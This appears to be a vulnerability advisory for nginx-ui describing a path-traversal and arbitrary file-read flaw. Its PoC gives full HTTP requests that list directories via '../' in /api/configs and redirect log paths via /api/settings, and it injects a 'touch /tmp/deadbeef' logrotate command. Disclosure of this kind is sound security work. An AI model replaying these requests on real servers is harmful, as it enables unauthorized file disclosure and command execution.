The log path of nginxui is controllable. Combined with the directory traversal at /api/configs, the file name in any directory can be obtained, but so as to read the file content in a targeted manner.
Directly obtain the path from the front end and the config path for splicing, and finally make a system call.
That is, here I can pass in ../../ to read files in any directory, and then combine reading to formulate any file.
GET /api/configs?dir=../../../../Users/snake/Downloads/nginx-ui-macos-64 HTTP/1.1
Host: 127.0.0.1:9000
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization: yourjwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Send a data packet to obtain the file name in the directory.
POST /api/settings HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 812
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization: yourjwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:9000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/
Accept-Encoding: gzip, deflate, br
Cookie: secure_session_id=undefined
Connection: keep-alive
{"auth":{"ip_white_list":null,"ban_threshold_minutes":10,"max_attempts":10},"logrotate":{"enabled":true,"cmd":"touch /tmp/deadbeef","interval":1},"nginx":{"access_log_path":"/Users/snake/Downloads/nginx-ui-macos-64/app.ini","error_log_path":"/Users/snake/Downloads/nginx-ui-macos-64/app.ini","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"d9963437-b0d9-4965-b8e9-159dfcf88f58","node_secret":"3367a303-daee-41a0-88a0-8dc89c930045","http_challenge_port":"9180","email":"123@qq.com","database":"data","start_cmd":"login","ca_dir":"","demo":false,"page_size":10,"github_proxy":"","cert_renewal_interval":7,"recursive_nameservers":[],"skip_installation":false,"insecure_skip_verify":false,"name":""}}
Modify the log path to the absolute path to be read.
Can read all directories and file contents on the server.
Summary
The log path of nginxui is controllable. Combined with the directory traversal at /api/configs, the file name in any directory can be obtained, but so as to read the file content in a targeted manner.
Details
api/nginx/nginx_log.go
internal/nginx/config_args.go
You can see that if it is not empty, the log path will be obtained from settings.
api/settings/settings.go
We can control nginx configuration.
api/config/list.go
Directly obtain the path from the front end and the config path for splicing, and finally make a system call.
That is, here I can pass in ../../ to read files in any directory, and then combine reading to formulate any file.
PoC
Send a data packet to obtain the file name in the directory.
Modify the log path to the absolute path to be read.
Visit http://127.0.0.1:9000/#/nginx_log/access.
Impact
Can read all directories and file contents on the server.